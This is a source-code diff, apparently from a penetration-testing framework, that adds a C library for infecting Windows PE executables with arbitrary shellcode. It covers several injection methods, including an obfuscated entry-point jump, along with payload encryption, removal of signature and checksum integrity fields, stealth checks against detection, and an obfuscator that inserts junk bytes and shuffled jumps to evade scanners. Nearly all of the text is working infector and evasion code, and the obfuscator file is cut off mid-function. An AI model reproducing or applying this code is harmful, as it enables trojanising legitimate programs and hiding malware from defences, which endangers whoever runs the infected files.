||||
a use-after-free. Not the cleanest solution, but better
|
||||
than heavy synchronization overhead */
|
||||
old_section_name = out->section_name;
|
||||
out->section_name = NULL;
|
||||
}
|
||||
|
||||
/* Set New section name */
|
||||
if ((!random) && section_name != NULL) {
|
||||
/* Limit size according to PE COFF */
|
||||
out->section_namesize = MIN(NT_SHORT_NAME_LEN, section_namesize);
|
||||
/* Copy new section name */
|
||||
out->section_name = malloc(out->section_namesize + 1);
|
||||
if (out->section_name != NULL) {
|
||||
memcpy(out->section_name, section_name, out->section_namesize);
|
||||
out->section_name[out->section_namesize] = 0x00;
|
||||
}
|
||||
}
|
||||
|
||||
/* Random Section Name?*/
|
||||
out->rnd_sectionname = random;
|
||||
|
||||
/* Free old section Name*/
|
||||
if (old_section_name != NULL) {
|
||||
free(old_section_name);
|
||||
}
|
||||
}
|
||||
|
||||
char* peinfect_get_sectionname(PEINFECT *in) {
|
||||
return in->section_name;
|
||||
}
|
||||
|
||||
void peinfect_set_methods(PEINFECT_METHOD methods, PEINFECT *out) {
|
||||
/* Set Methods */
|
||||
out->methods = methods;
|
||||
}
|
||||
|
||||
PEINFECT_METHOD peinfect_get_methods(PEINFECT *in) {
|
||||
return in->methods;
|
||||
}
|
||||
|
||||
void peinfect_set_jumpiterations(uint32_t iterations, PEINFECT *out) {
|
||||
/* Set Iterations */
|
||||
out->jump_iterations = MIN(MAX(iterations, 1), 64);
|
||||
}
|
||||
|
||||
uint32_t peinfect_get_jumpiterations(PEINFECT *in) {
|
||||
return in->jump_iterations;
|
||||
}
|
||||
|
||||
void peinfect_set_encryptiterations(uint32_t iterations, PEINFECT *out) {
|
||||
/* Set Iterations */
|
||||
out->encrypt_iterations = MIN(MAX(iterations, 1), 16);
|
||||
}
|
||||
|
||||
uint32_t peinfect_get_encryptiterations(PEINFECT *in) {
|
||||
return in->encrypt_iterations;
|
||||
}
|
||||
|
||||
void peinfect_set_removeintegrity(bool remove_integrity, PEINFECT *out) {
|
||||
out->remove_integrity = remove_integrity;
|
||||
}
|
||||
|
||||
bool peinfect_get_removeintegrity(PEINFECT *in) {
|
||||
return in->remove_integrity;
|
||||
}
|
||||
|
||||
void peinfect_set_encrypt(bool encrypt, PEINFECT *out) {
|
||||
out->encrypt = encrypt;
|
||||
}
|
||||
|
||||
bool peinfect_get_encrypt(PEINFECT *in) {
|
||||
return in->encrypt;
|
||||
}
|
||||
|
||||
void peinfect_set_trystaystealth(bool try_stealth, PEINFECT *out) {
|
||||
out->try_stealth = try_stealth;
|
||||
}
|
||||
|
||||
bool peinfect_get_trystaystealth(PEINFECT *in) {
|
||||
return in->try_stealth;
|
||||
}
|
||||
|
||||
bool peinfect_set_shellcode(unsigned char *mem, size_t memsize, bool x64, PEINFECT *out) {
|
||||
unsigned char *newmem = NULL;
|
||||
unsigned char *oldmem = NULL;
|
||||
|
||||
/* Allocate memory and copy new shellcode */
|
||||
if (memsize) {
|
||||
newmem = malloc(memsize);
|
||||
if (newmem == NULL) {
|
||||
return false;
|
||||
}
|
||||
memcpy(newmem, mem, memsize);
|
||||
}
|
||||
|
||||
/* Set x64 Shellcode */
|
||||
if (x64) {
|
||||
/* Store old memory pointer */
|
||||
if (out->shellcode_x64 != NULL) {
|
||||
oldmem = out->shellcode_x64;
|
||||
}
|
||||
/* Set shellcode size and mem */
|
||||
out->shellcode_x64 = newmem;
|
||||
out->shellcode_x64size = memsize;
|
||||
|
||||
/* Reset counter */
|
||||
out->infect_cnt_x64 = 0;
|
||||
|
||||
/* Set x86 Shellcode */
|
||||
}
|
||||
else {
|
||||
/* Store old memory pointer */
|
||||
if (out->shellcode_x86 != NULL) {
|
||||
oldmem = out->shellcode_x86;
|
||||
}
|
||||
/* Set shellcode size and mem */
|
||||
out->shellcode_x86 = newmem;
|
||||
out->shellcode_x86size = memsize;
|
||||
|
||||
/* Reset counter */
|
||||
out->infect_cnt_x86 = 0;
|
||||
}
|
||||
|
||||
/* Free old memory */
|
||||
if (oldmem != NULL) {
|
||||
free(oldmem);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned char* peinfect_get_shellcode(PEINFECT *in, bool x64) {
|
||||
return x64 ? in->shellcode_x64 : in->shellcode_x86;
|
||||
}
|
||||
|
||||
bool peinfect_infect_full(unsigned char *mem, size_t memsize, PEINFECT *in, PEFILE *out) {
|
||||
unsigned char *payload;
|
||||
size_t payloadsize;
|
||||
bool returnVar = false;
|
||||
|
||||
/* Try parse PE File */
|
||||
if (!pefile_read_mem(mem, memsize, NULL, out)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Optional Header present? */
|
||||
if (!((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)
|
||||
|| (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC))) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Clean Header fields (ASLR, Checksum, Signature DataDir, ...) */
|
||||
if (in->remove_integrity) {
|
||||
__peinfect_clean_header(in, out);
|
||||
}
|
||||
|
||||
/* Stealth checks */
|
||||
if (!__peinfect_check_stealth(in, out)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build payload */
|
||||
if ((payload = __peinfect_build_payload(in, out, &payloadsize)) == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try hidden jump inject */
|
||||
if (__peinfect_infect_cross_section_jmp(in, payload, payloadsize, NULL, -1, out))
|
||||
returnVar = true;
|
||||
|
||||
/* Try alignment inject */
|
||||
if (__peinfect_infect_alignment(in, payload, payloadsize, NULL, -1, out))
|
||||
returnVar = true;
|
||||
|
||||
/* Try alignment inject with resize */
|
||||
if (__peinfect_infect_alignment_resize(in, payload, payloadsize, NULL, -1, out))
|
||||
returnVar = true;
|
||||
|
||||
/* Try new section */
|
||||
if (__peinfect_infect_new_section(in, payload, payloadsize, NULL, -1, out))
|
||||
returnVar = true;
|
||||
|
||||
/* Free payload */
|
||||
free(payload);
|
||||
|
||||
/* Free PE File if not successful */
|
||||
if (!returnVar) {
|
||||
pefile_free(out);
|
||||
}
|
||||
|
||||
return returnVar;
|
||||
}
|
||||
|
||||
bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) {
|
||||
bool returnVar = false;
|
||||
unsigned char *file_mem;
|
||||
PEFILE pefile;
|
||||
|
||||
/* Open file */
|
||||
FILE *fh = fopen(infile, "rb");
|
||||
|
||||
if (fh != NULL) {
|
||||
|
||||
/* Get file size and allocate buffer */
|
||||
if (!fseek(fh, 0L, SEEK_END)) {
|
||||
size_t size = ftell(fh);
|
||||
size_t read_size = 0;
|
||||
rewind(fh);
|
||||
file_mem = malloc(size);
|
||||
|
||||
if (file_mem != NULL) {
|
||||
/* Load file into buffer */
|
||||
read_size = fread(file_mem, size, 1, fh);
|
||||
fclose(fh);
|
||||
fh = NULL;
|
||||
|
||||
/* Process file in memory */
|
||||
if (read_size == 1) {
|
||||
returnVar = peinfect_infect_full(file_mem, size, in, &pefile);
|
||||
}
|
||||
|
||||
/* free buffer after use */
|
||||
free(file_mem);
|
||||
|
||||
/* Write file to disk*/
|
||||
if (returnVar) {
|
||||
returnVar = pefile_write_file(&pefile, NULL, outfile);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Close file (if memory allocation has failed) */
|
||||
if (fh != NULL) {
|
||||
fclose(fh);
|
||||
}
|
||||
}
|
||||
|
||||
return returnVar;
|
||||
}
|
||||
|
||||
void peinfect_free(PEINFECT *in) {
|
||||
/* Free x86 Shellcode */
|
||||
if (in->shellcode_x86 != NULL) {
|
||||
free(in->shellcode_x86);
|
||||
}
|
||||
|
||||
/* Free x64 Shellcode */
|
||||
if (in->shellcode_x64 != NULL) {
|
||||
free(in->shellcode_x64);
|
||||
}
|
||||
|
||||
/* Free SectionName */
|
||||
if (in->section_name != NULL) {
|
||||
free(in->section_name);
|
||||
}
|
||||
|
||||
/* Zero struct */
|
||||
memset(in, 0, sizeof(PEINFECT));
|
||||
}
|
||||
|
||||
|
254
c/meterpreter/source/extensions/peinjector/libpeinfect.h
Executable file
254
c/meterpreter/source/extensions/peinjector/libpeinfect.h
Executable file
@ -0,0 +1,254 @@
|
||||
/**
|
||||
* \file libpeinfect.h
|
||||
* \brief Infects a PE File with a given payload
|
||||
*/
|
||||
|
||||
#ifndef LIBPEINFECT_H_
|
||||
#define LIBPEINFECT_H_
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <stddef.h>
|
||||
#include "libpetool.h"
|
||||
|
||||
/**
|
||||
* Sentinel size of serialized patch
|
||||
*/
|
||||
#define PEINFECT_PATCH_SENTINELSIZE 9
|
||||
|
||||
/**
|
||||
* Available Injection Methods
|
||||
*/
|
||||
typedef enum _PEINFECT_METHOD {
|
||||
METHOD_ALIGNMENT = 1 << 0, //!< Alignment-gap only method
|
||||
METHOD_ALIGNMENT_RESIZE = 1 << 1, //!< Alignment-gap and resize method
|
||||
METHOD_NEW_SECTION = 1 << 2, //!< Insert new section method
|
||||
METHOD_CHANGE_FLAGS = 1 << 3, //!< Change section flags (combined with alignment/alignment-resize)
|
||||
METHOD_CROSS_SECTION_JUMP = 1 << 4, //!< Inserts obfuscated jump at entry point and hides payload in another section
|
||||
METHOD_ALL = METHOD_ALIGNMENT | METHOD_ALIGNMENT_RESIZE | METHOD_NEW_SECTION | METHOD_CHANGE_FLAGS | METHOD_CROSS_SECTION_JUMP
|
||||
} PEINFECT_METHOD;
|
||||
|
||||
/**
|
||||
* PE Infect control structure
|
||||
*/
|
||||
typedef struct _PEINFECT {
|
||||
unsigned char *shellcode_x86; //!< Holds x86 shellcode
|
||||
size_t shellcode_x86size; //!< Size of x86 shellcode
|
||||
unsigned char *shellcode_x64; //!< Holds x64 shellcode
|
||||
size_t shellcode_x64size; //!< Size of x64 shellcode
|
||||
char *section_name; //!< Name of section to insert
|
||||
size_t section_namesize; //!< Size of new section name
|
||||
PEINFECT_METHOD methods; //!< Allowed infection methods
|
||||
bool remove_integrity; //!< Removes integrity checks
|
||||
bool rnd_sectionname; //!< Random section names
|
||||
bool try_stealth; //!< Tries to check if infection could be detected
|
||||
bool encrypt; //!< Encrypts shellcode before insertion
|
||||
uint32_t encrypt_iterations; //!< Encryption iterations
|
||||
uint32_t jump_iterations; //!< Cross section jump iterations
|
||||
uint32_t infect_cnt_x86; //!< Infection counter x86
|
||||
uint32_t infect_cnt_x64; //!< Infection counter x64
|
||||
} PEINFECT;
|
||||
|
||||
/**
|
||||
* PE Infect patch structure
|
||||
*/
|
||||
typedef struct _PEINFECT_PATCH {
|
||||
unsigned char *mem; //!< Pointer to memory of current patch part
|
||||
size_t memsize; //!< Size of current patch part
|
||||
size_t position; //!< Position of current patch part
|
||||
bool insert; //!< If true patch will be inserted, overwritten otherwise
|
||||
struct _PEINFECT_PATCH *next; //!< Pointer to next patch part
|
||||
} PEINFECT_PATCH;
|
||||
|
||||
/**
|
||||
* Initializes a new PE Infector
|
||||
*
|
||||
* \param out PE Infector to initialize
|
||||
*
|
||||
*/
|
||||
void peinfect_init(PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Sets the section Name to use for a injected section
|
||||
*
|
||||
* \param section_name Name of new section if injected
|
||||
* \param section_namesize Size of new section name
|
||||
* \param random If true, previous params are ignored and a random section
|
||||
* name will be used for each injection. (Enabled by default)
|
||||
* \param out PE Infector to configure
|
||||
*
|
||||
*/
|
||||
void peinfect_set_sectionname(char *section_name, size_t section_namesize, bool random, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the section name used for infection
|
||||
*
|
||||
* \param in PE Infector
|
||||
*
|
||||
* \return section name if set, NULL otherwise
|
||||
*/
|
||||
char* peinfect_get_sectionname(PEINFECT *in);
|
||||
|
||||
/**
|
||||
* Sets the methods to use for infection (All are enabled by default, except METHOD_CROSS_SECTION_JUMP)
|
||||
*
|
||||
* \param methods Methods to use for infection
|
||||
* \param out PE Infector to configure
|
||||
*
|
||||
*/
|
||||
void peinfect_set_methods(PEINFECT_METHOD methods, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the methods used for infection
|
||||
*
|
||||
* \param in PE Infector
|
||||
*
|
||||
* \return infection methods
|
||||
*/
|
||||
PEINFECT_METHOD peinfect_get_methods(PEINFECT *in);
|
||||
|
||||
/**
|
||||
* Sets the interations for cross section infection. (Limits: Min: 1 Max: 64)
|
||||
*
|
||||
* \param iterations Number of iterations to use
|
||||
* \param out PE Infector to configure
|
||||
*
|
||||
*/
|
||||
void peinfect_set_jumpiterations(uint32_t iterations, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the interations for cross section infection
|
||||
*
|
||||
* \param in PE Infector
|
||||
*
|
||||
* \return Number of iterations used
|
||||
*/
|
||||
uint32_t peinfect_get_jumpiterations(PEINFECT *in);
|
||||
|
||||
/**
|
||||
* Sets the interations for encryption. (Limits: Min: 1 Max: 16)
|
||||
*
|
||||
* \param iterations Number of iterations to use
|
||||
* \param out PE Infector to configure
|
||||
*
|
||||
*/
|
||||
void peinfect_set_encryptiterations(uint32_t iterations, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the interations for encryption
|
||||
*
|
||||
* \param in PE Infector
|
||||
*
|
||||
* \return Number of iterations used
|
||||
*/
|
||||
uint32_t peinfect_get_encryptiterations(PEINFECT *in);
|
||||
|
||||
/**
|
||||
* Enables encryption of payload (Enabled by default)
|
||||
*
|
||||
* \param encrypt Encrypts if true
|
||||
* \param out PE Infector to configure
|
||||
*
|
||||
*/
|
||||
void peinfect_set_encrypt(bool encrypt, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the encryption of payload
|
||||
*
|
||||
* \param in PE Infector
|
||||
*
|
||||
* \return true if set, false otherwise
|
||||
*/
|
||||
bool peinfect_get_encrypt(PEINFECT *in);
|
||||
|
||||
/**
|
||||
* Enables removal of integrity checks (Enabled by default)
|
||||
*
|
||||
* \param remove_integrity Remove integrity if true
|
||||
* \param out PE Infector to configure
|
||||
*
|
||||
*/
|
||||
void peinfect_set_removeintegrity(bool remove_integrity, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the removal of integrity checks flag
|
||||
*
|
||||
* \param in PE Infector
|
||||
*
|
||||
* \return true if set, false otherwise
|
||||
*/
|
||||
bool peinfect_get_removeintegrity(PEINFECT *in);
|
||||
|
||||
/**
|
||||
* Enables to try to stay stealth (Enabled by default)
|
||||
*
|
||||
* \param try_stealth Try to stay stealth if true
|
||||
* \param out PE Infector to configure
|
||||
*
|
||||
*/
|
||||
void peinfect_set_trystaystealth(bool try_stealth, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the try stay stealth flag
|
||||
*
|
||||
* \param in PE Infector
|
||||
*
|
||||
* \return true if set, false otherwise
|
||||
*/
|
||||
bool peinfect_get_trystaystealth(PEINFECT *in);
|
||||
|
||||
/**
|
||||
* Sets shellcode to use
|
||||
*
|
||||
* \param mem Pointer to memory containing shellcode
|
||||
* \param memsize Size of the shellcode
|
||||
* \param x64 If true shellcode will used for x64 PE Files, x86 otherwise
|
||||
* \param out PE Infector which will use the shellcode
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool peinfect_set_shellcode(unsigned char *mem, size_t memsize, bool x64, PEINFECT *out);
|
||||
|
||||
/**
|
||||
* Gets the shellcode used for infection
|
||||
*
|
||||
* \param in PE Infector
|
||||
* \param x64 returns x64 shellcode if true, x86 otherwise
|
||||
*
|
||||
* \ return shellcode
|
||||
*/
|
||||
unsigned char* peinfect_get_shellcode(PEINFECT *in, bool x64);
|
||||
|
||||
/**
|
||||
* Infects PE File with preconfigured shellcode
|
||||
*
|
||||
* \param mem Pointer to memory containing PE File
|
||||
* \param memsize Size of the PE File
|
||||
* \param in Input PEINFECT structure for configuration
|
||||
* \param out infected PE File
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool peinfect_infect_full(unsigned char *mem, size_t memsize, PEINFECT *in, PEFILE *out);
|
||||
|
||||
/**
|
||||
* Infects PE File from disk with preconfigured shellcode
|
||||
*
|
||||
* \param infile PE File to infect
|
||||
* \param in Input PEINFECT structure for configuration
|
||||
* \param outfile PE File to store
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile);
|
||||
|
||||
/**
|
||||
* Clears PEINFECT structure
|
||||
*
|
||||
* \param in Input PEINFECT structure
|
||||
*/
|
||||
void peinfect_free(PEINFECT *in);
|
||||
|
||||
|
||||
#endif /* LIBPEINFECT_H_ */
|
699
c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.c
Executable file
699
c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.c
Executable file
@ -0,0 +1,699 @@
|
||||
/*
|
||||
* \file libpeinfect_obfuscator.c
|
||||
* \brief peinfect obfuscator sub-library
|
||||
*/
|
||||
|
||||
/* ToDo: additional Anti-Debugging */
|
||||
|
||||
#include "libpefile.h"
|
||||
#include "libpeinfect_obfuscator.h"
|
||||
|
||||
/* Shellcode type */
|
||||
typedef enum _SHELLCODE_TYPE {
|
||||
TYPE_CMD = 0x01, // CMD type
|
||||
TYPE_CALL = 0x02, // CAll type
|
||||
TYPE_JMP = 0x03, // JMP type
|
||||
TYPE_LOOP = 0x04, // LOOP type
|
||||
} SHELLCODE_TYPE;
|
||||
|
||||
/* Std OpCodes */
|
||||
typedef enum _OPCODE {
|
||||
OP_JMP = '\xeb', // JMP opcode
|
||||
OP_LOOP = '\xe2', // LOOP opcode
|
||||
OP_CALL = '\xe8', // CALL opcode
|
||||
} OPCODE;
|
||||
|
||||
/* Shellcode Entry Holder */
|
||||
typedef struct _SHELLCODE_ENTRY {
|
||||
unsigned char *code; // Shellcode to insert
|
||||
size_t codesize; // Shellcode size
|
||||
unsigned char *garbage; // Garbage to inert
|
||||
size_t garbagesize; // Garbage size
|
||||
size_t index; // Index of entry
|
||||
size_t target; // Target entry (for jmp types)
|
||||
SHELLCODE_TYPE type; // Entry type
|
||||
} SHELLCODE_ENTRY;
|
||||
|
||||
/* Shellcode */
|
||||
typedef struct _SHELLCODE {
|
||||
SHELLCODE_ENTRY *entry; // Entrys
|
||||
size_t entrys; // Entry counter
|
||||
size_t total_size; // Total shellcode size
|
||||
bool x64; // x64 Mode
|
||||
bool fix_last; // don't shuffle last entry
|
||||
} SHELLCODE;
|
||||
|
||||
/* Generate garbage */
|
||||
static unsigned char* __peinfector_obfuscator_generate_garbage(SHELLCODE *shellcode, size_t *size) {
|
||||
unsigned char *garbage = NULL;
|
||||
switch (shellcode->x64 ? (2 + rand() % 3) : (rand() % 5)) {
|
||||
/* Break alignment */
|
||||
case 0:
|
||||
case 1:
|
||||
*size = 4;
|
||||
garbage = malloc(*size);
|
||||
if (garbage == NULL) {
|
||||
*size = 0;
|
||||
return NULL;
|
||||
}
|
||||
memcpy(garbage, "\xeb\xff\xc0\x48", *size);
|
||||
break;
|
||||
|
||||
/* Random garbage */
|
||||
case 2:
|
||||
*size = 3 + rand() % 6;
|
||||
garbage = malloc(*size);
|
||||
if (garbage == NULL) {
|
||||
*size = 0;
|
||||
return NULL;
|
||||
}
|
||||
garbage[0] = '\xeb';
|
||||
garbage[1] = (unsigned char) ((int) *size - (int) 2);
|
||||
break;
|
||||
|
||||
/* NOPs */
|
||||
case 3:
|
||||
*size = 1 + rand() % 2;
|
||||
garbage = malloc(*size);
|
||||
if (garbage == NULL) {
|
||||
*size = 0;
|
||||
return NULL;
|
||||
}
|
||||
memset(garbage, '\x90', *size);
|
||||
break;
|
||||
|
||||
/* Nothing */
|
||||
default:
|
||||
*size = 0;
|
||||
garbage = NULL;
|
||||
}
|
||||
|
||||
return garbage;
|
||||
}
|
||||
|
||||
/* Shuffles array */
|
||||
static void __peinfector_obfuscator_shuffle(void *array, size_t n, size_t size) {
|
||||
char *tmp;
|
||||
tmp = malloc(size);
|
||||
|
||||
char *arr = array;
|
||||
size_t stride = size * sizeof(char);
|
||||
|
||||
if (n > 1) {
|
||||
size_t i;
|
||||
for (i = 0; i < n - 1; ++i) {
|
||||
size_t rnd = (size_t) rand();
|
||||
size_t j = i + rnd / (RAND_MAX / (n - i) + 1);
|
||||
|
||||
memcpy(tmp, arr + j * stride, size);
|
||||
memcpy(arr + j * stride, arr + i * stride, size);
|
||||
memcpy(arr + i * stride, tmp, size);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Generate new shellcode */
|
||||
static SHELLCODE* __peinfector_obfuscator_shellcode_new() {
|
||||
SHELLCODE *shellcode = calloc(1, sizeof(SHELLCODE));
|
||||
|
||||
return shellcode;
|
||||
}
|
||||
|
||||
/* Sets x64 mode */
|
||||
static void __peinfector_obfuscator_shellcode_set_x64(SHELLCODE *shellcode, bool _x64) {
|
||||
shellcode->x64 = _x64;
|
||||
}
|
||||
|
||||
/* Sets fix last mode (Doesn't shuffle last Entry) */
|
||||
static void __peinfector_obfuscator_shellcode_fix_last(SHELLCODE *shellcode, bool fix_last) {
|
||||
shellcode->fix_last = fix_last;
|
||||
}
|
||||
|
||||
/* Generate new shellcode */
|
||||
static void __peinfector_obfuscator_shellcode_free(SHELLCODE *shellcode) {
|
||||
size_t i = 0;
|
||||
/* Free code and garbage */
|
||||
for (i = 0; i < shellcode->entrys; ++i) {
|
||||
/* Free each code */
|
||||
if (shellcode->entry[i].code != 0) {
|
||||
free(shellcode->entry[i].code);
|
||||
}
|
||||
/* Free each garbage */
|
||||
if (shellcode->entry[i].garbage != 0) {
|
||||
free(shellcode->entry[i].garbage);
|
||||
}
|
||||
}
|
||||
|
||||
/* Free holder*/
|
||||
free(shellcode->entry);
|
||||
|
||||
/* Free shellcode container*/
|
||||
free(shellcode);
|
||||
}
|
||||
|
||||
/* Add shellcode entry */
|
||||
static int __peinfector_obfuscator_shellcode_add_entry(SHELLCODE *shellcode, char *code, size_t codesize,
|
||||
bool add_garbage) {
|
||||
SHELLCODE_ENTRY *entry = NULL;
|
||||
|
||||
/* Add entry */
|
||||
shellcode->entry = realloc(shellcode->entry, (shellcode->entrys + 1) * sizeof(SHELLCODE_ENTRY));
|
||||
if (shellcode->entry == NULL) {
|
||||
return -1;
|
||||
}
|
||||
memset(&shellcode->entry[shellcode->entrys], 0, sizeof(SHELLCODE_ENTRY));
|
||||
entry = (SHELLCODE_ENTRY*) &shellcode->entry[shellcode->entrys];
|
||||
|
||||
/* Set Entry */
|
||||
entry->index = shellcode->entrys;
|
||||
entry->code = malloc(codesize);
|
||||
entry->codesize = codesize;
|
||||
entry->type = TYPE_CMD;
|
||||
entry->target = shellcode->entrys + 1;
|
||||
if (entry->code == NULL) {
|
||||
return -1;
|
||||
}
|
||||
memcpy(entry->code, code, codesize);
|
||||
|
||||
/* Add garbage */
|
||||
if (add_garbage) {
|
||||
entry->garbage = __peinfector_obfuscator_generate_garbage(shellcode, &entry->garbagesize);
|
||||
}
|
||||
|
||||
/* Increase size */
|
||||
shellcode->total_size += entry->garbagesize + entry->codesize;
|
||||
|
||||
/* Increase entry counter*/
|
||||
shellcode->entrys++;
|
||||
|
||||
/* Return entry index */
|
||||
return shellcode->entrys - 1;
|
||||
}
|
||||
|
||||
/* Add shellcode jmp/loop/call */
|
||||
static int __peinfector_obfuscator_shellcode_add_generic_jmp(SHELLCODE *shellcode, SHELLCODE_TYPE type,
|
||||
size_t size_correction, size_t target, bool add_garbage) {
|
||||
SHELLCODE_ENTRY *entry = NULL;
|
||||
|
||||
/* Add entry */
|
||||
shellcode->entry = realloc(shellcode->entry, (shellcode->entrys + 1) * sizeof(SHELLCODE_ENTRY));
|
||||
if (shellcode->entry == NULL) {
|
||||
return -1;
|
||||
}
|
||||
memset(&shellcode->entry[shellcode->entrys], 0, sizeof(SHELLCODE_ENTRY));
|
||||
entry = (SHELLCODE_ENTRY*) &shellcode->entry[shellcode->entrys];
|
||||
|
||||
/* Set Entry */
|
||||
entry->index = shellcode->entrys;
|
||||
entry->codesize = size_correction;
|
||||
entry->target = target;
|
||||
entry->type = type;
|
||||
|
||||
/* Add garbage */
|
||||
if (add_garbage) {
|
||||
entry->garbage = __peinfector_obfuscator_generate_garbage(shellcode, &entry->garbagesize);
|
||||
}
|
||||
|
||||
/* Increase size */
|
||||
shellcode->total_size += entry->garbagesize + entry->codesize;
|
||||
|
||||
/* Increase entry counter*/
|
||||
shellcode->entrys++;
|
||||
|
||||
/* Return entry index */
|
||||
return shellcode->entrys - 1;
|
||||
}
|
||||
|
||||
/* Add JMP Entry*/
|
||||
static int __peinfector_obfuscator_shellcode_add_jmp(SHELLCODE *shellcode, size_t target, bool add_garbage) {
|
||||
|
||||
return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_JMP, 0, target, add_garbage);
|
||||
}
|
||||
|
||||
/* Add LOOP Entry*/
|
||||
static int __peinfector_obfuscator_shellcode_add_loop(SHELLCODE *shellcode, size_t target, bool add_garbage) {
|
||||
|
||||
return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_LOOP, 2, target, add_garbage);
|
||||
}
|
||||
|
||||
/* Add CALL Entry*/
|
||||
static int __peinfector_obfuscator_shellcode_add_call(SHELLCODE *shellcode, size_t target, bool add_garbage) {
|
||||
|
||||
return __peinfector_obfuscator_shellcode_add_generic_jmp(shellcode, TYPE_CALL, 3, target, add_garbage);
|
||||
}
|
||||
|
||||
/* get jmp position of entry */
|
||||
static int __peinfector_obfuscator_shellcode_get_jmp_pos(SHELLCODE *shellcode, int entry) {
|
||||
size_t pos = 0;
|
||||
size_t i = 0;
|
||||
|
||||
if (entry == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Find position to insert JMP after shuffling */
|
||||
pos = 2;
|
||||
for (i = 0; i < shellcode->entrys; ++i) {
|
||||
pos += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2);
|
||||
if (shellcode->entry[i].index == entry) {
|
||||
/* Correct position (CALL 5, LOOP 4, all other 2) */
|
||||
pos -= (shellcode->entry[i].type == TYPE_CALL) ? 5 : ((shellcode->entry[i].type == TYPE_LOOP) ? 4 : 2);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return pos;
|
||||
}
|
||||
|
||||
/* Calculates delta between 2 entrys (end entry 1 -> start entry 2) */
|
||||
static int __peinfector_obfuscator_shellcode_find_delta(SHELLCODE *shellcode, uint32_t size, int entry1,
|
||||
int entry2) {
|
||||
size_t i = 0;
|
||||
size_t pos_1 = 0;
|
||||
size_t pos_2 = 0;
|
||||
|
||||
/* End of entry 1*/
|
||||
if (entry1 == -1) {
|
||||
pos_1 = 2;
|
||||
} else {
|
||||
pos_1 = 2;
|
||||
for (i = 0; i < shellcode->entrys; ++i) {
|
||||
pos_1 += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2);
|
||||
if (shellcode->entry[i].index == entry1) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Start of entry 2*/
|
||||
if ((entry2 == -1) || (entry2 == shellcode->entrys)) {
|
||||
pos_2 = size;
|
||||
} else {
|
||||
pos_2 = 2;
|
||||
for (i = 0; i < shellcode->entrys; ++i) {
|
||||
if (shellcode->entry[i].index == entry2) {
|
||||
break;
|
||||
}
|
||||
pos_2 += (shellcode->entry[i].garbagesize + shellcode->entry[i].codesize + 2);
|
||||
}
|
||||
}
|
||||
|
||||
/* Return delta position */
|
||||
return pos_2 - pos_1;
|
||||
}
|
||||
|
||||
static void __peinfector_obfuscator_build_relative_jmp(unsigned char *shellcode, uint32_t pos, OPCODE opcode,
|
||||
int jmp_delta) {
|
||||
|
||||
shellcode[pos] = opcode;
|
||||
|
||||
/* Relative target */
|
||||
if ((jmp_delta == 0) && (opcode != OP_LOOP)) {
|
||||
/* NOP */
|
||||
if (opcode == OP_CALL) {
|
||||
memset(&shellcode[pos], 0x90, 5);
|
||||
} else {
|
||||
memset(&shellcode[pos], 0x90, 2);
|
||||
}
|
||||
/* jmp forward */
|
||||
} else if (jmp_delta > 0) {
|
||||
if (opcode == OP_LOOP) {
|
||||
jmp_delta += 4;
|
||||
}
|
||||
shellcode[pos + 1] = (unsigned char) jmp_delta;
|
||||
if (opcode == OP_CALL) {
|
||||
memset(&shellcode[pos + 2], 0x00, 3);
|
||||
}
|
||||
/* jmp backward */
|
||||
} else {
|
||||
if (opcode == OP_LOOP) {
|
||||
jmp_delta += 4;
|
||||
}
|
||||
shellcode[pos + 1] = (unsigned char) ((int) 0xfe + (int) (jmp_delta + 2));
|
||||
if (opcode == OP_CALL) {
|
||||
memset(&shellcode[pos + 2], 0xff, 3);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Generates new randomized shellcode */
|
||||
static unsigned char* __peinfector_obfuscator_shellcode_generate(SHELLCODE *shellcode, size_t *size) {
|
||||
int i = 0;
|
||||
uint32_t pos = 0;
|
||||
uint32_t jmp_pos = 0;
|
||||
int jmp_delta = 0;
|
||||
unsigned char *shellcode_buf = NULL;
|
||||
|
||||
/* Shuffle entrys */
|
||||
__peinfector_obfuscator_shuffle(shellcode->entry, (shellcode->entrys - (shellcode->fix_last ? 1 : 0)),
|
||||
sizeof(SHELLCODE_ENTRY));
|
||||
|
||||
/* Calculate size */
|
||||
*size = ((shellcode->entrys + 1) * 2) + shellcode->total_size;
|
||||
|
||||
/* Allocate shellcode */
|
||||
shellcode_buf = malloc(*size);
|
||||
if (shellcode_buf == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Jump to 0 entry */
|
||||
jmp_delta = __peinfector_obfuscator_shellcode_find_delta(shellcode, *size, -1, 0);
|
||||
